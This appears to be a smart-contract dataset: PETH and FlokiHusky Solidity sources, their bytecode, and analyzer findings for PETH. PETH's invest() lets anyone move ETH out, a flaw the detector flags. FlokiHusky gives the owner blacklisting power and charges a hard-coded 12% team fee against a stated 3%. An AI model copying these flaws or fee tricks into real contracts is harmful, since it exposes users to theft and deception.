function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract PETH { using SafeMath for uint256; string public name = "PairX ETH"; string public symbol = "PETH"; uint8 public decimals = 18; uint256 public totalPETH = 0; uint256 public usedETH = 0; address public investAddr; address public managerAddr; bool public reEntrancyMutex = false;//Mutexes that prevent reentrant attacks bool public canDeposit = true;//Allow to deposit. event Approval(address indexed src, address indexed guy, uint256 wad); event Transfer(address indexed src, address indexed dst, uint256 wad); event Deposit(address indexed dst, uint256 wad); event Withdrawal(address indexed src, uint256 wad); event Invest(address indexed src, uint256 wad); event ChangeIvAddr(address indexed src, address indexed newAddr); event ChangeMngAddr(address indexed src, address indexed newAddr); event ChangeDeposit(address indexed src, bool canDeposit); mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; constructor(address _investAddr, address _managerAddr) public { investAddr = _investAddr; managerAddr = _managerAddr; } fallback() external payable {} receive() external payable { deposit(); } function deposit() public payable { if (msg.sender == investAddr) { usedETH = usedETH.sub(msg.value); } else { require(canDeposit); balanceOf[msg.sender] = msg.value.add(balanceOf[msg.sender]); totalPETH = msg.value.add(totalPETH); emit Transfer(address(0), msg.sender, msg.value); } emit Deposit(msg.sender, msg.value); } function withdraw(uint256 wad) public { require(!reEntrancyMutex); balanceOf[msg.sender] = balanceOf[msg.sender].sub(wad); totalPETH = totalPETH.sub(wad); reEntrancyMutex = true; msg.sender.transfer(wad); emit Transfer(msg.sender, address(0), wad); emit Withdrawal(msg.sender, wad); reEntrancyMutex = false; } function invest(uint256 wad) public { usedETH = usedETH.add(wad); address(uint160(investAddr)).transfer(wad); emit Invest(msg.sender, wad); } function changeIvAddr(address newAddr) public { require(msg.sender == investAddr, "Only investAddr can change Invest Address."); investAddr = newAddr; emit ChangeIvAddr(msg.sender, newAddr); } function changeMngAddr(address newAddr) public { require(msg.sender == managerAddr, "Only managerAddr can change Interest Address."); managerAddr = newAddr; emit ChangeMngAddr(msg.sender, newAddr); } function changeDeposit(bool _canDeposit) public { require(msg.sender == managerAddr, "Only managerAddr can change Deposit State."); canDeposit = _canDeposit; emit ChangeDeposit(msg.sender, _canDeposit); } function totalSupply() public view returns (uint256) { return totalPETH; } function approve(address guy, uint256 wad) public returns (bool) { allowance[msg.sender][guy] = wad; emit Approval(msg.sender, guy, wad); return true; } function transfer(address dst, uint256 wad) public returns (bool) { return transferFrom(msg.sender, dst, wad); } function transferFrom(address src, address dst, uint256 wad) public returns (bool) { require(balanceOf[src] >= wad); if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) { require(allowance[src][msg.sender] >= wad); allowance[src][msg.sender] = allowance[src][msg.sender].sub(wad); } balanceOf[src] = balanceOf[src].sub(wad); balanceOf[dst] = balanceOf[dst].add(wad); emit Transfer(src, dst, wad); return true; } }
0x60806040526004361061012e5760003560e01c806370a08231116100ab578063cbc9d6c21161006f578063cbc9d6c21461061b578063d0e30db01461065c578063dd62ed3e14610666578063df10397d146106eb578063e29a3b401461073c578063e78a5875146107795761013d565b806370a082311461045d57806395d89b41146104c2578063a9059cbb14610552578063b0fdbb8a146105c3578063b9886b1d146105f05761013d565b80632afcf480116100f25780632afcf480146103275780632e1a7d4d146103625780632e3c9e991461039d578063313ce567146103de5780633dd431921461040c5761013d565b806306fdde031461013f578063095ea7b3146101cf57806318160ddd1461024057806322e7bf3d1461026b57806323b872dd146102965761013d565b3661013d5761013b6107a6565b005b005b34801561014b57600080fd5b5061015461099c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610194578082015181840152602081019050610179565b50505050905090810190601f1680156101c15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101db57600080fd5b50610228600480360360408110156101f257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3a565b60405180821515815260200191505060405180910390f35b34801561024c57600080fd5b50610255610b2c565b6040518082815260200191505060405180910390f35b34801561027757600080fd5b50610280610b36565b6040518082815260200191505060405180910390f35b3480156102a257600080fd5b5061030f600480360360608110156102b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b3c565b60405180821515815260200191505060405180910390f35b34801561033357600080fd5b506103606004803603602081101561034a57600080fd5b8101908080359060200190929190505050610f9a565b005b34801561036e57600080fd5b5061039b6004803603602081101561038557600080fd5b810190808035906020019092919050505061106f565b005b3480156103a957600080fd5b506103b261126d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ea57600080fd5b506103f3611293565b604051808260ff16815260200191505060405180910390f35b34801561041857600080fd5b5061045b6004803603602081101561042f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112a6565b005b34801561046957600080fd5b506104ac6004803603602081101561048057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113e9565b6040518082815260200191505060405180910390f35b3480156104ce57600080fd5b506104d7611401565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105175780820151818401526020810190506104fc565b50505050905090810190601f1680156105445780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561055e57600080fd5b506105ab6004803603604081101561057557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061149f565b60405180821515815260200191505060405180910390f35b3480156105cf57600080fd5b506105d86114b4565b60405180821515815260200191505060405180910390f35b3480156105fc57600080fd5b506106056114c7565b6040518082815260200191505060405180910390f35b34801561062757600080fd5b506106306114cd565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106646107a6565b005b34801561067257600080fd5b506106d56004803603604081101561068957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114f3565b6040518082815260200191505060405180910390f35b3480156106f757600080fd5b5061073a6004803603602081101561070e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611518565b005b34801561074857600080fd5b506107776004803603602081101561075f57600080fd5b8101908080351515906020019092919050505061165c565b005b34801561078557600080fd5b5061078e61176f565b60405180821515815260200191505060405180910390f35b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561081c576108113460045461178290919063ffffffff16565b60048190555061094c565b600660159054906101000a900460ff1661083557600080fd5b610887600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054346117cc90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108df600354346117cc90919063ffffffff16565b6003819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef346040518082815260200191505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a2565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a325780601f10610a0757610100808354040283529160200191610a32565b820191906000526020600020905b815481529060010190602001808311610a1557829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b60035481565b600081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b8a57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610c6257507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15610e005781600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cf057600080fd5b610d7f82600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178290919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610e5282600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178290919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ee782600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117cc90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b610faf816004546117cc90919063ffffffff16565b600481905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561101d573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167fd90d253a9de34d2fdd5a75ae49ea17fcb43af32fc8ea08cc6d2341991dd3872e826040518082815260200191505060405180910390a250565b600660149054906101000a900460ff161561108957600080fd5b6110db81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178290919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111338160035461178290919063ffffffff16565b6003819055506001600660146101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561119a573d6000803e3d6000fd5b50600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff167f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65826040518082815260200191505060405180910390a26000600660146101000a81548160ff02191690831515021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461134c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061196c602a913960400191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167e676cf056e3658b3ac0bd2439a0d0b33ecfd689dd2542ece387e64466e19a0460405160405180910390a350565b60076020528060005260406000206000915090505481565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114975780601f1061146c57610100808354040283529160200191611497565b820191906000526020600020905b81548152906001019060200180831161147a57829003601f168201915b505050505081565b60006114ac338484610b3c565b905092915050565b600660149054906101000a900460ff1681565b60045481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6008602052816000526040600020602052806000526040600020600091509150505481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115be576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d81526020018061193f602d913960400191505060405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f0c463b156c72bbb2ba81b7ea19922f20613e9bf87f43b170fe57cd97e6c192da60405160405180910390a350565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611702576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611915602a913960400191505060405180910390fd5b80600660156101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167fc03f33f8e333cebba750ee0837820bec6d22768bde06b06665dbb5709548cda28260405180821515815260200191505060405180910390a250565b600660159054906101000a900460ff1681565b60006117c483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611854565b905092915050565b60008082840190508381101561184a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000838311158290611901576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118c65780820151818401526020810190506118ab565b50505050905090810190601f1680156118f35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f6e6c79206d616e61676572416464722063616e206368616e6765204465706f7369742053746174652e4f6e6c79206d616e61676572416464722063616e206368616e676520496e74657265737420416464726573732e4f6e6c7920696e76657374416464722063616e206368616e676520496e7665737420416464726573732ea2646970667358221220b39e1f0a0762a361b6072caa44e2c9d1f68532eb9ec536f72329c20910f975a964736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,291
0xBECB3228fE249F92674947a5Db82Ee8148A475D1
/* Telegram: https://t.me/FlokiHusky Twitter: https://twitter.com/FlokiHusky Website: https://flokihusky.com/ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FlokiHusky is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Floki Husky"; string private constant _symbol = "FLOKIHUSKY"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 3; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 3; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(6).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 3000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 12); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e9f565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129a6565b61045e565b6040516101789190612e84565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613041565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612953565b61048d565b6040516101e09190612e84565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128b9565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130b6565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a2f565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128b9565b610783565b6040516102b19190613041565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612db6565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e9f565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129a6565b61098d565b60405161035b9190612e84565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129e6565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a89565b6110ab565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612913565b6111f4565b6040516104189190613041565b60405180910390f35b60606040518060400160405280600b81526020017f466c6f6b69204875736b79000000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b610556856040518060600160405280602881526020016137bd60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f81565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f81565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f81565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000806